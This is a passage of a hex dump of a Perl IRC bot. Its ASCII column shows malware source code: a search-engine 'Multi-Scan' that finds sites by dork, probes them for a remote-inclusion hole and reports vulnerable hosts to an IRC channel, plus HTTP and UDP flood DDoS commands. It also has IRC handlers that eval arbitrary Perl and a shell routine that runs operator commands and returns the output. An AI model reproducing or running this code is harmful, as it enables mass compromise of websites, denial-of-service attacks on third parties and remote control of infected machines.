46688: 6F6F676C650D0A2020206D792040676C6973743D26676F6F676C652824646F72          oogle my @glist=&google($dor
46720: 6B293B0D0A73656E6472617728244952435F6375725F736F636B65742C202250          k); sendraw($IRC_cur_socket, "P
46752: 5249564D534720247072696E746C20021F03375B0203344003334D756C74692D          RIVMSG $printl 7[4@3Multi-
46784: 5363616E020331325D021F03200203324703346F03386F03326703336C033465          Scan12] 2G4o8o2g3l4e
46816: 0320021F03375B03021F222E7363616C61722840676C697374292E22021F0337           7[".scalar(@glist)."7
46848: 5D03021F20536974657322293B0D0A2020206D7920406D6C6973743D266D736E          ] Sites"); my @mlist=&msn
46880: 2824646F726B293B0D0A2020206D79204061736B6C6973743D2661736B282464          ($dork); my @asklist=&ask($d
46912: 6F726B293B0D0A2020206D792040616C6C6973743D26616C6C74686577656228          ork); my @allist=&alltheweb(
46944: 24646F726B293B0D0A2020206D792040616F6C6C6973743D26616F6C2824646F          $dork); my @aollist=&aol($do
46976: 726B293B0D0A2020206D7920406C79636F733D266C79636F732824646F726B29          rk); my @lycos=&lycos($dork)
47008: 3B0D0A2020206D792040796C6973743D267961686F6F2824646F726B293B0D0A          ; my @ylist=&yahoo($dork);
47040: 2020206D7920406D7A6C6973743D266D6F7A626F742824646F726B293B0D0A20          my @mzlist=&mozbot($dork);
47072: 20206D7920406D616D616C697374266D616D6D612824646F726B293B0D0A2020          my @mamalist&mamma($dork);
47104: 206D792040686C6973743D26686F74626F742824646F726B293B0D0A2020206D          my @hlist=&hotbot($dork); m
47136: 792040616C746C6973743D26616C746176697374612824646F726B293B0D0A20          y @altlist=&altavista($dork);
47168: 20206D792040736C6973743D267365617263682824646F726B293B0D0A202020          my @slist=&search($dork);
47200: 6D792040756C6973743D26756F6C2824646F726B293B0D0A2020206D79204066          my @ulist=&uol($dork); my @f
47232: 69726562616C6C3D266669726562616C6C2824646F726B293B0D0A73656E6472          ireball=&fireball($dork); sendr
47264: 617728244952435F6375725F736F636B65742C2022505249564D534720247072          aw($IRC_cur_socket, "PRIVMSG $pr
47296: 696E746C203A03345B0203344003334D756C74692D5363616E020331325D0331          intl :4[4@3Multi-Scan12]1
47328: 32021F03200203324703346F03386F03326703336C0334650320021F03375B03          2 2G4o8o2g3l4e 7[
47360: 021F222E7363616C61722840676C697374292E22021F03375D03021F20536974          ".scalar(@glist)."7] Sit
47392: 657322293B0D0A73656E6472617728244952435F6375725F736F636B65742C20          es"); sendraw($IRC_cur_socket,
47424: 22505249564D534720247072696E746C203A03345B0203344003334D756C7469          "PRIVMSG $printl :4[4@3Multi
47456: 2D5363616E020331325D03313220034D534E20021F03375B03021F222E736361          -Scan12]12 MSN 7[".sca
47488: 6C617228406D6C697374292E22021F03375D03021F20536974657322293B0D0A          lar(@mlist)."7] Sites");
47520: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
47552: 4720247072696E746C203A03345B0203344003334D756C74692D5363616E0203          G $printl :4[4@3Multi-Scan
47584: 31325D0331322003416C6C54686557656220021F03375B03021F222E7363616C          12]12 AllTheWeb 7[".scal
47616: 61722840616C6C697374292E22021F03375D03021F20536974657322293B0D0A          ar(@allist)."7] Sites");
47648: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
47680: 4720247072696E746C203A03345B0203344003334D756C74692D5363616E0203          G $printl :4[4@3Multi-Scan
47712: 31325D033132200341736B2E636F6D20021F03375B03021F222E7363616C6172          12]12 Ask.com 7[".scalar
47744: 284061736B6C697374292E22021F03375D03021F20536974657322293B0D0A73          (@asklist)."7] Sites"); s
47776: 656E6472617728244952435F6375725F736F636B65742C2022505249564D5347          endraw($IRC_cur_socket, "PRIVMSG
47808: 20247072696E746C203A03345B0203344003334D756C74692D5363616E020331          $printl :4[4@3Multi-Scan1
47840: 325D0331322003414F4C20021F03375B03021F222E7363616C61722840616F6C          2]12 AOL 7[".scalar(@aol
47872: 6C697374292E22021F03375D03021F20536974657322293B0D0A73656E647261          list)."7] Sites"); sendra
47904: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
47936: 6E746C203A03345B0203344003334D756C74692D5363616E020331325D033132          ntl :4[4@3Multi-Scan12]12
47968: 20034C79636F7320021F03375B03021F222E7363616C617228406C79636F7329          Lycos 7[".scalar(@lycos)
48000: 2E22021F03375D03021F20536974657322293B0D0A73656E6472617728244952          ."7] Sites"); sendraw($IR
48032: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
48064: 03345B0203344003334D756C74692D5363616E020331325D0331322003596168          4[4@3Multi-Scan12]12 Yah
48096: 6F6F2120021F03375B03021F222E7363616C61722840796C697374292E22021F          oo! 7[".scalar(@ylist)."
48128: 03375D03021F20536974657322293B0D0A73656E6472617728244952435F6375          7] Sites"); sendraw($IRC_cu
48160: 725F736F636B65742C2022505249564D534720247072696E746C203A03345B02          r_socket, "PRIVMSG $printl :4[
48192: 03344003334D756C74692D5363616E020331325D03313220034D6F7A426F7420          4@3Multi-Scan12]12 MozBot
48224: 021F03375B03021F222E7363616C617228406D7A6C697374292E22021F03375D          7[".scalar(@mzlist)."7]
48256: 03021F20536974657322293B0D0A73656E6472617728244952435F6375725F73           Sites"); sendraw($IRC_cur_s
48288: 6F636B65742C2022505249564D534720247072696E746C203A03345B02033440          ocket, "PRIVMSG $printl :4[4@
48320: 03334D756C74692D5363616E020331325D03313220034D616D6120021F03375B          3Multi-Scan12]12 Mama 7[
48352: 03021F222E7363616C617228406D616D616C697374292E22021F03375D03021F          ".scalar(@mamalist)."7]
48384: 20536974657322293B0D0A73656E6472617728244952435F6375725F736F636B          Sites"); sendraw($IRC_cur_sock
48416: 65742C2022505249564D534720247072696E746C203A03345B0203344003334D          et, "PRIVMSG $printl :4[4@3M
48448: 756C74692D5363616E020331325D0331322003486F74426F7420021F03375B03          ulti-Scan12]12 HotBot 7[
48480: 021F222E7363616C61722840686C697374292E22021F03375D03021F20536974          ".scalar(@hlist)."7] Sit
48512: 657322293B0D0A73656E6472617728244952435F6375725F736F636B65742C20          es"); sendraw($IRC_cur_socket,
48544: 22505249564D534720247072696E746C203A03345B0203344003334D756C7469          "PRIVMSG $printl :4[4@3Multi
48576: 2D5363616E020331325D0331322003416C7461766973746120021F03375B0302          -Scan12]12 Altavista 7[
48608: 1F222E7363616C61722840616C746C697374292E22021F03375D03021F205369          ".scalar(@altlist)."7] Si
48640: 74657322293B0D0A73656E6472617728244952435F6375725F736F636B65742C          tes"); sendraw($IRC_cur_socket,
48672: 2022505249564D534720247072696E746C203A03345B0203344003334D756C74          "PRIVMSG $printl :4[4@3Mult
48704: 692D5363616E020331325D03313220035365617263685B646F745D636F6D2002          i-Scan12]12 Search[dot]com 
48736: 1F03375B03021F222E7363616C61722840736C697374292E22021F03375D0302          7[".scalar(@slist)."7]
48768: 1F20536974657322293B0D0A73656E6472617728244952435F6375725F736F63           Sites"); sendraw($IRC_cur_soc
48800: 6B65742C2022505249564D534720247072696E746C203A03345B020334400333          ket, "PRIVMSG $printl :4[4@3
48832: 4D756C74692D5363616E020331325D0331322003556F4C20021F03375B03021F          Multi-Scan12]12 UoL 7[
48864: 222E7363616C61722840756C697374292E22021F03375D03021F205369746573          ".scalar(@ulist)."7] Sites
48896: 22293B0D0A73656E6472617728244952435F6375725F736F636B65742C202250          "); sendraw($IRC_cur_socket, "P
48928: 5249564D534720247072696E746C203A03345B0203344003334D756C74692D53          RIVMSG $printl :4[4@3Multi-S
48960: 63616E020331325D03313220034669726542616C6C20021F03375B03021F222E          can12]12 FireBall 7[".
48992: 7363616C61722840666C697374292E22021F03375D03021F2053697465732229          scalar(@flist)."7] Sites")
49024: 3B0D0A230D0A70757368286D792040746F742C2040676C6973742C20406D6C69          ; # push(my @tot, @glist, @mli
49056: 73742C2040616C6973742C2040616C6C6973742C204061736B6C6973742C2040          st, @alist, @allist, @asklist, @
49088: 616F6C6C6973742C20406C79636F732C2040796C6973742C20406D7A6C697374          aollist, @lycos, @ylist, @mzlist
49120: 2C20406D616D616C6973742C2040686C6973742C40616C746C6973742C204073          , @mamalist, @hlist,@altlist, @s
49152: 6C6973742C2040756C6973742C2040666C69737420293B0D0A6D79204070756C          list, @ulist, @flist ); my @pul
49184: 6974693D26756E6963692840746F74293B0D0A73656E6472617728244952435F          iti=&unici(@tot); sendraw($IRC_
49216: 6375725F736F636B65742C2022505249564D534720247072696E746C20021F03          cur_socket, "PRIVMSG $printl 
49248: 375B0203344003334D756C74692D5363616E020331325D021F03202052657375          7[4@3Multi-Scan12] Resu
49280: 6C74733A20546F74616C3A021F03375B03021F222E7363616C61722840746F74          lts: Total:7[".scalar(@tot
49312: 292E22021F03375D03021F20536974657320616E6420436C65616E65643A2002          )."7] Sites and Cleaned: 
49344: 1F03375B03021F222E7363616C6172284070756C697469292E22021F03375D03          7[".scalar(@puliti)."7]
49376: 021F20666F722024646F726B2022293B0D0A6D792024756E693D7363616C6172           for $dork "); my $uni=scalar
49408: 284070756C697469293B0D0A666F7265616368206D7920247369746F20284070          (@puliti); foreach my $sito (@p
49440: 756C697469290D0A7B0D0A24636F6E7461746F72652B2B3B0D0A696620282463          uliti) { $contatore++; if ($c
49472: 6F6E7461746F726520253130303D3D30297B0D0A73656E647261772824495243          ontatore %1  == ){ sendraw($IRC
49504: 5F6375725F736F636B65742C2022505249564D534720247072696E746C20021F          _cur_socket, "PRIVMSG $printl 
49536: 03375B0203344003334D756C74692D5363616E020331325D021F03204578706C          7[4@3Multi-Scan12] Expl
49568: 6F6974696E672020021F03375B03021F222E24636F6E7461746F72652E22021F          oiting 7[".$contatore."
49600: 03375D03021F20206F662020021F03375B03021F222E24756E692E2022021F03          7] of 7[".$uni. "
49632: 375D03021F20536974657322293B0D0A7D0D0A6966202824636F6E7461746F72          7] Sites"); } if ($contator
49664: 653D3D24756E692D31297B0D0A73656E6472617728244952435F6375725F736F          e==$uni-1){ sendraw($IRC_cur_so
49696: 636B65742C2022505249564D534720247072696E746C20021F03375B02033440          cket, "PRIVMSG $printl 7[4@
49728: 03334D756C74692D5363616E020331325D021F032046696E697368656420666F          3Multi-Scan12] Finished fo
49760: 72202024646F726B22293B0D0A7D0D0A232323205072696E7420434D4420616E          r $dork"); } ### Print CMD an
49792: 64205445535420434D442323230D0A6D792024746573743D22687474703A2F2F          d TEST CMD### my $test="http://
49824: 222E247369746F2E246275672E2469642E223F223B0D0A6D7920247072696E74          ".$sito.$bug.$id."?"; my $print
49856: 3D22687474703A2F2F222E247369746F2E246275672E24636D642E223F223B0D          ="http://".$sito.$bug.$cmd."?";
49888: 0A23232320456E64206F66205072696E7420434D4420616E6420544553542043          ### End of Print CMD and TEST C
49920: 4D442323230D0A6D7920247265713D485454503A3A526571756573742D3E6E65          MD### my $req=HTTP::Request->ne
49952: 77284745543D3E2474657374293B0D0A6D79202475613D4C57503A3A55736572          w(GET=>$test); my $ua=LWP::User
49984: 4167656E742D3E6E657728293B0D0A2475612D3E74696D656F75742834293B0D          Agent->new(); $ua->timeout(4);
50016: 0A6D792024726573706F6E73653D2475612D3E72657175657374282472657129          my $response=$ua->request($req)
50048: 3B0D0A6966202824726573706F6E73652D3E69735F7375636365737329207B0D          ; if ($response->is_success) {
50080: 0A6D79202472653D24726573706F6E73652D3E636F6E74656E743B0D0A696628          my $re=$response->content; if(
50112: 247265203D7E202F4D696332322F20262620247265203D7E202F7569643D2F29          $re =~ /Mic22/ && $re =~ /uid=/)
50144: 7B0D0A6D79202468733D676574687328247072696E74293B2024686F7374737B          { my $hs=geths($print); $hosts{
50176: 2468737D2B2B3B0D0A69662824686F7374737B2468737D3D3D223122297B0D0A          $hs}++; if($hosts{$hs}=="1"){
50208: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
50240: 4720247072696E746C20021F03375B0203344003334D756C74692D5363616E02          G $printl 7[4@3Multi-Scan
50272: 0331325D021F03202053616665204D6F6465203D204F4646203A2E207C205675          12] Safe Mode = OFF :. | Vu
50304: 6C6E3A2020247072696E742022293B0D0A7D7D0D0A656C73696628247265203D          ln: $print "); }} elsif($re =
50336: 7E202F4D696332322F290D0A7B0D0A6D79202468733D67657468732824707269          ~ /Mic22/) { my $hs=geths($pri
50368: 6E74293B2024686F7374737B2468737D2B2B3B0D0A69662824686F7374737B24          nt); $hosts{$hs}++; if($hosts{$
50400: 68737D3D3D223122297B0D0A73656E6472617728244952435F6375725F736F63          hs}=="1"){ sendraw($IRC_cur_soc
50432: 6B65742C2022505249564D534720247072696E746C20021F03375B0203344003          ket, "PRIVMSG $printl 7[4@
50464: 334D756C74692D5363616E020331325D021F03202053616665204D6F6465203D          3Multi-Scan12] Safe Mode =
50496: 20204F4E203A2E207C2056756C6E3A2020247072696E74202022293B0D0A7D7D          ON :. | Vuln: $print "); }}
50528: 0D0A7D7D7D0D0A657869743B0D0A7D7D7D0D0A23232323232323232323232323          }}} exit; }}} #############
50560: 2323232323232323230D0A23456E64206F66204D756C74695343414E4E455220          ######### #End of MultiSCANNER
50592: 230D0A232323232323232323232323232323232323232323230D0A2323232323          # ###################### #####
50624: 23232323232323232323232323232323230D0A23202020202048545450466C6F          ################# # HTTPFlo
50656: 6F64202020202020230D0A232323232323232323232323232323232323232323          od # #####################
50688: 230D0A202020202020202020696620282466756E63617267203D7E202F5E6874          # if ($funcarg =~ /^ht
50720: 7470666C6F6F645C732B282E2A295C732B285C642B292F29207B0D0A20202020          tpflood\s+(.*)\s+(\d+)/) {
50752: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
50784: 2022505249564D534720247072696E746C203A03347C0331322E3A0333485454          "PRIVMSG $printl :4|12.:3HTT
50816: 502044446F530331323A2E03347C0331322041747461636B696E672003342022          P DDoS12:.4|12 Attacking 4 "
50848: 2E24312E2220033132206F6E20706F727420383020666F7220033420222E2432          .$1." 12 on port 8  for 4 ".$2
50880: 2E2220033132207365636F6E6473202E22293B0D0A2020202020202020202020          ." 12 seconds .");
50912: 206D7920246974696D65203D2074696D653B0D0A202020202020202020202020          my $itime = time;
50944: 6D792028246375725F74696D65293B0D0A202020202020202020202020246375          my ($cur_time); $cu
50976: 725F74696D65203D2074696D65202D20246974696D653B0D0A20202020202020          r_time = time - $itime;
51008: 20202020207768696C65202824323E246375725F74696D65297B0D0A20202020          while ($2>$cur_time){
51040: 2020202020202020202020246375725F74696D65203D2074696D65202D202469          $cur_time = time - $i
51072: 74696D653B0D0A2020202020202020202020202020206D792024736F636B6574          time; my $socket
51104: 203D20494F3A3A536F636B65743A3A494E45542D3E6E65772870726F746F3D3E          = IO::Socket::INET->new(proto=>
51136: 27746370272C2050656572416464723D3E24312C2050656572506F72743D3E38          'tcp', PeerAddr=>$1, PeerPort=>8
51168: 30293B0D0A2020202020202020202020202020207072696E742024736F636B65           ); print $socke
51200: 742022474554202F20485454502F312E315C725C6E4163636570743A202A2F2A          t "GET / HTTP/1.1\r\nAccept: */*
51232: 5C725C6E486F73743A20222E24312E225C725C6E436F6E6E656374696F6E3A20          \r\nHost: ".$1."\r\nConnection:
51264: 4B6565702D416C6976655C725C6E5C725C6E223B0D0A20202020202020202020          Keep-Alive\r\n\r\n";
51296: 2020202020636C6F73652824736F636B6574293B0D0A20202020202020202020          close($socket);
51328: 20207D0D0A20202020202020202020202073656E6472617728244952435F6375          } sendraw($IRC_cu
51360: 725F736F636B65742C2022505249564D534720247072696E746C203A03347C03          r_socket, "PRIVMSG $printl :4|
51392: 31322E3A0333485454502044446F530331323A2E03347C033132204174746163          12.:3HTTP DDoS12:.4|12 Attac
51424: 6B696E6720646F6E6520033420222E24312E222E22293B0D0A20202020202020          king done 4 ".$1.".");
51456: 20207D0D0A232323232323232323232323232323232323232323230D0A232020          } ###################### #
51488: 456E64206F662048545450466C6F6F642020230D0A2323232323232323232323          End of HTTPFlood # ###########
51520: 23232323232323232323230D0A23232323232323232323232323232323232323          ########### ###################
51552: 2323230D0A232020202020554450466C6F6F6420202020202020230D0A232323          ### # UDPFlood # ###
51584: 232323232323232323232323232323232323230D0A2020202020202020206966          ################### if
51616: 20282466756E63617267203D7E202F5E756470666C6F6F645C732B282E2A295C          ($funcarg =~ /^udpflood\s+(.*)\
51648: 732B285C642B295C732B285C642B292F29207B0D0A2020202020202020202020          s+(\d+)\s+(\d+)/) {
51680: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
51712: 534720247072696E746C203A03347C0331322E3A03335544502044446F530331          SG $printl :4|12.:3UDP DDoS1
51744: 323A2E03347C0331322041747461636B696E6720033420222E24312E22200331          2:.4|12 Attacking 4 ".$1." 1
51776: 32207769746820033420222E24322E2220033132204B62205061636B65747320          2 with 4 ".$2." 12 Kb Packets
51808: 666F7220033420222E24332E2220033132207365636F6E64732E22293B0D0A20          for 4 ".$3." 12 seconds.");
51840: 20202020202020202020206D792028246474696D652C20257061636F74657329          my ($dtime, %pacotes)
51872: 203D20756470666C6F6F64657228222431222C20222432222C2022243322293B          = udpflooder("$1", "$2", "$3");
51904: 0D0A202020202020202020202020246474696D65203D20312069662024647469          $dtime = 1 if $dti
51936: 6D65203D3D20303B0D0A2020202020202020202020206D79202562797465733B          me ==  ; my %bytes;
51968: 0D0A2020202020202020202020202462797465737B69676D707D203D20243220          $bytes{igmp} = $2
52000: 2A20247061636F7465737B69676D707D3B0D0A20202020202020202020202024          * $pacotes{igmp}; $
52032: 62797465737B69636D707D203D202432202A20247061636F7465737B69636D70          bytes{icmp} = $2 * $pacotes{icmp
52064: 7D3B0D0A2020202020202020202020202462797465737B6F7D203D202432202A          }; $bytes{o} = $2 *
52096: 20247061636F7465737B6F7D3B0D0A2020202020202020202020202462797465          $pacotes{o}; $byte
52128: 737B7564707D203D202432202A20247061636F7465737B7564707D3B0D0A2020          s{udp} = $2 * $pacotes{udp};
52160: 202020202020202020202462797465737B7463707D203D202432202A20247061          $bytes{tcp} = $2 * $pa
52192: 636F7465737B7463707D3B0D0A20202020202020202020202073656E64726177          cotes{tcp}; sendraw
52224: 28244952435F6375725F736F636B65742C2022505249564D534720247072696E          ($IRC_cur_socket, "PRIVMSG $prin
52256: 746C203A03345B0203344003335544502D44446F73020331325D033132200331          tl :4[4@3UDP-DDos12]12 1
52288: 32526573756C7473033420222E696E7428282462797465737B69636D707D2B24          2Results4 ".int(($bytes{icmp}+$
52320: 62797465737B69676D707D2B2462797465737B7564707D202B20246279746573          bytes{igmp}+$bytes{udp} + $bytes
52352: 7B6F7D292F31303234292E22200331324B6220696E033420222E246474696D65          {o})/1 24)." 12Kb in4 ".$dtime
52384: 2E22200331327365636F6E647320746F033420222E24312E222E22293B0D0A20          ." 12seconds to4 ".$1.".");
52416: 20202020202020207D0D0A232323232323232323232323232323232323232323          } #####################
52448: 230D0A232020456E64206F6620556470666C6F6F64202020230D0A2323232323          # # End of Udpflood # #####
52480: 23232323232323232323232323232323230D0A20202020202020202065786974          ################# exit
52512: 3B0D0A2020202020207D0D0A2020207D0D0A0D0A73756220697263617365207B          ; } } sub ircase {
52544: 0D0A2020206D792028246B656D2C20247072696E746C2C20246361736529203D          my ($kem, $printl, $case) =
52576: 20405F3B0D0A202020696620282463617365203D7E202F5E6A6F696E20282E2A          @_; if ($case =~ /^join (.*
52608: 292F29207B0D0A2020202020206A2822243122293B0D0A2020207D0D0A202020          )/) { j("$1"); }
52640: 696620282463617365203D7E202F5E7061727420282E2A292F29207B0D0A2020          if ($case =~ /^part (.*)/) {
52672: 20202020702822243122293B0D0A2020207D0D0A202020696620282463617365          p("$1"); } if ($case
52704: 203D7E202F5E72656A6F696E5C732B282E2A292F29207B0D0A2020202020206D          =~ /^rejoin\s+(.*)/) { m
52736: 7920246368616E203D2024313B0D0A20202020202069662028246368616E203D          y $chan = $1; if ($chan =
52768: 7E202F5E285C642B2920282E2A292F29207B0D0A202020202020202020666F72          ~ /^(\d+) (.*)/) { for
52800: 20286D7920246361203D20313B20246361203C3D2024313B202463612B2B2029          (my $ca = 1; $ca <= $1; $ca++ )
52832: 207B0D0A202020202020202020202020702822243222293B0D0A202020202020          { p("$2");
52864: 2020202020206A2822243222293B0D0A2020202020202020207D0D0A20202020          j("$2"); }
52896: 20207D20656C7365207B0D0A202020202020202020702822246368616E22293B          } else { p("$chan");
52928: 0D0A2020202020202020206A2822246368616E22293B0D0A2020202020207D0D          j("$chan"); }
52960: 0A2020207D0D0A0D0A202020696620282463617365203D7E202F5E6F702F2920          } if ($case =~ /^op/)
52992: 7B0D0A2020202020206F702822247072696E746C222C2022246B656D22292069          { op("$printl", "$kem") i
53024: 6620246361736520657120226F70223B0D0A2020202020206D7920246F617267          f $case eq "op"; my $oarg
53056: 203D207375627374722824636173652C2033293B0D0A2020202020206F702822          = substr($case, 3); op("
53088: 2431222C2022243222292069662028246F617267203D7E202F285C532B295C73          $1", "$2") if ($oarg =~ /(\S+)\s
53120: 2B285C532B292F293B0D0A2020207D0D0A0D0A20202069662028246361736520          +(\S+)/); } if ($case
53152: 3D7E202F5E64656F702F29207B0D0A20202020202064656F702822247072696E          =~ /^deop/) { deop("$prin
53184: 746C222C2022246B656D2229206966202463617365206571202264656F70223B          tl", "$kem") if $case eq "deop";
53216: 0D0A2020202020206D7920246F617267203D207375627374722824636173652C          my $oarg = substr($case,
53248: 2035293B0D0A20202020202064656F7028222431222C20222432222920696620          5); deop("$1", "$2") if
53280: 28246F617267203D7E202F285C532B295C732B285C532B292F293B0D0A202020          ($oarg =~ /(\S+)\s+(\S+)/);
53312: 7D0D0A0D0A202020696620282463617365203D7E202F5E6D73675C732B285C53          } if ($case =~ /^msg\s+(\S
53344: 2B2920282E2A292F29207B0D0A2020202020206D736728222431222C20222432          +) (.*)/) { msg("$1", "$2
53376: 22293B0D0A2020207D0D0A0D0A202020696620282463617365203D7E202F5E66          "); } if ($case =~ /^f
53408: 6C6F6F645C732B285C642B295C732B285C532B2920282E2A292F29207B0D0A20          lood\s+(\d+)\s+(\S+) (.*)/) {
53440: 2020202020666F7220286D7920246366203D20313B20246366203C3D2024313B          for (my $cf = 1; $cf <= $1;
53472: 202463662B2B29207B0D0A2020202020202020206D736728222432222C202224          $cf++) { msg("$2", "$
53504: 3322293B0D0A2020202020207D0D0A2020207D0D0A0D0A202020696620282463          3"); } } if ($c
53536: 617365203D7E202F5E637463705C732B285C532B2920282E2A292F29207B0D0A          ase =~ /^ctcp\s+(\S+) (.*)/) {
53568: 2020202020206374637028222431222C2022243222293B0D0A2020207D0D0A0D          ctcp("$1", "$2"); }
53600: 0A202020696620282463617365203D7E202F5E63746370666C6F6F645C732B28          if ($case =~ /^ctcpflood\s+(
53632: 5C642B295C732B285C532B2920282E2A292F29207B0D0A202020202020666F72          \d+)\s+(\S+) (.*)/) { for
53664: 20286D7920246366203D20313B20246366203C3D2024313B202463662B2B2920          (my $cf = 1; $cf <= $1; $cf++)
53696: 7B0D0A2020202020202020206374637028222432222C2022243322293B0D0A20          { ctcp("$2", "$3");
53728: 20202020207D0D0A2020207D0D0A0D0A202020696620282463617365203D7E20          } } if ($case =~
53760: 2F5E6E69636B20282E2A292F29207B0D0A2020202020206E69636B2822243122          /^nick (.*)/) { nick("$1"
53792: 293B0D0A2020207D0D0A0D0A202020696620282463617365203D7E202F5E636F          ); } if ($case =~ /^co
53824: 6E6E6563745C732B285C532B295C732B285C532B292F29207B0D0A2020202020          nnect\s+(\S+)\s+(\S+)/) {
53856: 20636F6E656374617228222432222C20222431222C2036363637293B0D0A2020          conectar("$2", "$1", 6667);
53888: 207D0D0A0D0A202020696620282463617365203D7E202F5E72617720282E2A29          } if ($case =~ /^raw (.*)
53920: 2F29207B0D0A20202020202073656E647261772822243122293B0D0A2020207D          /) { sendraw("$1"); }
53952: 0D0A0D0A202020696620282463617365203D7E202F5E6576616C20282E2A292F          if ($case =~ /^eval (.*)/
53984: 29207B0D0A2020202020206576616C20222431223B0D0A2020207D0D0A7D0D0A          ) { eval "$1"; } }
54016: 0D0A737562206765745F68746D6C2829207B0D0A24746573743D245F5B305D3B          sub get_html() { $test=$_[ ];
54048: 0D0A0D0A2020202020202469703D245F5B315D3B0D0A20202020202024706F72          $ip=$_[1]; $por
54080: 743D245F5B325D3B0D0A0D0A6D7920247265713D485454503A3A526571756573          t=$_[2]; my $req=HTTP::Reques
54112: 742D3E6E6577284745543D3E2474657374293B0D0A6D79202475613D4C57503A          t->new(GET=>$test); my $ua=LWP:
54144: 3A557365724167656E742D3E6E657728293B0D0A696628646566696E65642824          :UserAgent->new(); if(defined($
54176: 69702920262620646566696E65642824706F72742929207B0D0A202020202020          ip) && defined($port)) {
54208: 2475612D3E70726F7879282268747470222C22687474703A2F2F2469703A2470          $ua->proxy("http","http://$ip:$p
54240: 6F72742F22293B0D0A2020202020202475612D3E6167656E7428224D6F7A696C          ort/"); $ua->agent("Mozil
54272: 6C612F342E302028636F6D70617469626C653B204D53494520362E303B205769          la/4.  (compatible; MSIE 6. ; Wi
54304: 6E646F7773204E5420352E302922293B0D0A7D0D0A2475612D3E74696D656F75          ndows NT 5. )"); } $ua->timeou
54336: 742831293B0D0A6D792024726573706F6E73653D2475612D3E72657175657374          t(1); my $response=$ua->request
54368: 2824726571293B0D0A6966202824726573706F6E73652D3E69735F7375636365          ($req); if ($response->is_succe
54400: 737329207B0D0A2020202472653D24726573706F6E73652D3E636F6E74656E74          ss) { $re=$response->content
54432: 3B0D0A7D0D0A72657475726E202472653B0D0A7D0D0A0D0A7375622061646470          ; } return $re; } sub addp
54464: 726F63207B0D0A0D0A2020206D79202470726F633D245F5B305D3B0D0A202020          roc { my $proc=$_[ ];
54496: 6D792024646F726B3D245F5B315D3B0D0A2020200D0A2020206F70656E284649          my $dork=$_[1]; open(FI
54528: 4C452C223E3E2F7661722F746D702F7069647322293B0D0A2020207072696E74          LE,">>/var/tmp/pids"); print
54560: 2046494C45202470726F632E22205B222E246972635F736572766572737B2449          FILE $proc." [".$irc_servers{$I
54592: 52435F6375725F736F636B65747D7B276E69636B277D2E225D2024646F726B5C          RC_cur_socket}{'nick'}."] $dork\
54624: 6E223B0D0A202020636C6F73652846494C45293B0D0A7D0D0A0D0A0D0A737562          n"; close(FILE); } sub
54656: 2064656C70726F63207B0D0A0D0A2020206D79202470726F633D245F5B305D3B          delproc { my $proc=$_[ ];
54688: 0D0A2020206F70656E2846494C452C222F7661722F746D702F7069647322293B          open(FILE,"/var/tmp/pids");
54720: 0D0A0D0A2020207768696C65283C46494C453E29207B0D0A202020202020245F          while(<FILE>) { $_
54752: 203D7E202F285C642B295C732B282E2A292F3B0D0A202020202020246368696C          =~ /(\d+)\s+(.*)/; $chil
54784: 64737B24317D3D24323B0D0A2020207D0D0A202020636C6F73652846494C4529          ds{$1}=$2; } close(FILE)
54816: 3B0D0A20202064656C65746528246368696C64737B2470726F637D293B0D0A0D          ; delete($childs{$proc});
54848: 0A2020206F70656E2846494C452C223E2F7661722F746D702F7069647322293B          open(FILE,">/var/tmp/pids");
54880: 0D0A0D0A202020666F7220246B6C75637A20286B65797320256368696C647329          for $klucz (keys %childs)
54912: 207B0D0A2020202020207072696E742046494C4520246B6C75637A2E2220222E          { print FILE $klucz." ".
54944: 246368696C64737B246B6C75637A7D2E225C6E223B0D0A2020207D0D0A7D0D0A          $childs{$klucz}."\n"; } }
54976: 0D0A737562207368656C6C207B0D0A2020206D7920247072696E746C3D245F5B          sub shell { my $printl=$_[
55008: 305D3B0D0A2020206D792024636F6D616E646F3D245F5B315D3B0D0A20202069           ]; my $comando=$_[1]; i
55040: 66202824636F6D616E646F203D7E202F636420282E2A292F29207B0D0A202020          f ($comando =~ /cd (.*)/) {
55072: 2020206368646972282224312229207C7C206D73672822247072696E746C222C          chdir("$1") || msg("$printl",
55104: 20224E6F20737563682066696C65206F72206469726563746F727922293B0D0A          "No such file or directory");
55136: 20202020202072657475726E3B0D0A2020207D20656C73696620282470696420          return; } elsif ($pid
55168: 3D20666F726B29207B0D0A2020202020207761697470696428247069642C2030          = fork) { waitpid($pid,  
55200: 293B0D0A2020207D20656C7365207B0D0A20202020202069662028666F726B29          ); } else { if (fork)
55232: 207B0D0A202020202020202020657869743B0D0A2020202020207D20656C7365          { exit; } else
55264: 207B0D0A2020202020202020206D792040726573703D6024636F6D616E646F20          { my @resp=`$comando
55296: 323E263120333E2631603B0D0A2020202020202020206D792024633D303B0D0A          2>&1 3>&1`; my $c= ;
55328: 202020202020202020666F7265616368206D7920246C696E6861202840726573          foreach my $linha (@res
55360: 7029207B0D0A20202020202020202020202024632B2B3B0D0A20202020202020          p) { $c++;
55392: 202020202063686F7020246C696E68613B0D0A20202020202020202020202073          chop $linha; s
55424: 656E6472617728244952435F6375725F736F636B65742C2022505249564D5347          endraw($IRC_cur_socket, "PRIVMSG
55456: 20247072696E746C203A246C696E686122293B0D0A2020202020202020202020          $printl :$linha");
55488: 20696620282463203D3D2022246C696E61735F6D61782229207B0D0A20202020          if ($c == "$linas_max") {
55520: 202020202020202020202024633D303B0D0A2020202020202020202020202020          $c= ;
55552: 20736C6565702024736C6565703B0D0A2020202020202020202020207D0D0A20          sleep $sleep; }
55584: 20202020202020207D0D0A202020202020202020657869743B0D0A2020202020          } exit;
55616: 207D0D0A2020207D0D0A7D0D0A0D0A73756220746370666C6F6F646572207B0D          } } } sub tcpflooder {
55648: 0A2020206D7920246974696D65203D2074696D653B0D0A2020206D7920282463          my $itime = time; my ($c
55680: 75725F74696D65293B0D0A2020206D7920282469612C2470612C2470726F746F          ur_time); my ($ia,$pa,$proto
